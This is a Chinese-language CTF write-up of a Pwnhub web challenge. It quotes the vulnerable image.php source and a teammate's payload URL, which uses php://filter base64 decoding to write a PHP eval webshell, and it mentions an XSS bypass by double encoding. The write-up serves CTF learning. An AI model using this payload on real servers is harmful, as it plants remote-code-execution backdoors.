Pwnhub 某 CTF
今天參加了一個突擊題目,乍一看很簡單。
打開題目頁面,然後就在firebug發現了
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg
明顯是寫shell類型的題目。
接下來就是考慮怎麼去讀寫。
打開鏈接一看
console.log('logo.jpg update sucess!')
頓時感覺很熟悉,以前做過類似的題目,利用echo "console.log('".$path." update sucess!')";
回顯寫入payload。
試了下發現過濾了<,不能寫入標籤也就不能寫入執行語句。
這時候我想到的是php://fifter協議過濾寫入shell,大半個小時過去了,沒調對payload。。
賽後小夥伴調出來了
http://54.223.231.220/image.php?path=php://filter/write=convert.base64-decode/resource=shell1.php&file=http%3a%2f%2f127.0.0.1%3a8888%2fimage.php%3ffile%3dhttp%3a%2f%2f127.0.0.1%3a8888%2fimage.php%26path%3dxxPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2fPg
path
放棄了,然後轉載file
測試了下,只是簡單的判斷file是否有http://127.0.0.1:8888/
,
於是乎,就用file(php協議也行)協議讀取了源碼。
<?php
ini_set("display_errors", "Off"); error_reporting(E_ALL);
$url = $_GET['file'];
$path = $_GET['path'];
if (strpos($path, '..')>-1)
{
die("error");
}
if (strpos($path, '<')>-1)
{
die("error");
}
if (strpos($url, 'http://127.0.0.1:8888/')>-1)
{
file_put_contents($path, file_get_contents($url));
echo "console.log('".$path." update sucess!')";
}
?>
看了下源碼,分分鐘就可以秒破。
明顯就是非預期做法。
就在這個時候,官方閉站改題了。。。尷尬。
再回到首頁看看其他線索,發現存檔頁面有個xss可以暫時保存數據。
http://54.223.231.220/?date/2016-12/
其中的2016﹣12會寫到頁面中,測試了下test,可以正常顯示,
於是乎又來了一發payload。
結構啥都沒有,以為不是這個點,有默默地區闡釋fifter/base64-decode。
思路沒轉過來,後來看別人的wp才知道過濾了空格,簡單的二次編碼就能突破了。
憂傷
傻傻的掉進不算坑的坑,把直接坑慘了。
最快的人17分鐘就AK了這道題,且不說是不是預期做法。
個人做題速度太慢了,次次與flag擦肩而過。
沒有走在點子上,或者在點子是沒深入。
歸根結底就是對php://fifter和base64不熟悉,沒整出完美的payload。
明明test
可以成功,用<?php xxx;?>
不成功卻沒有思考為什麼。
以後一定要注意!!!
明明讀取了image.php的內容卻沒有順手讀取index.php的內容。
一隻傻逼的Virink
FROM : virzz.com | Author:Virink
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论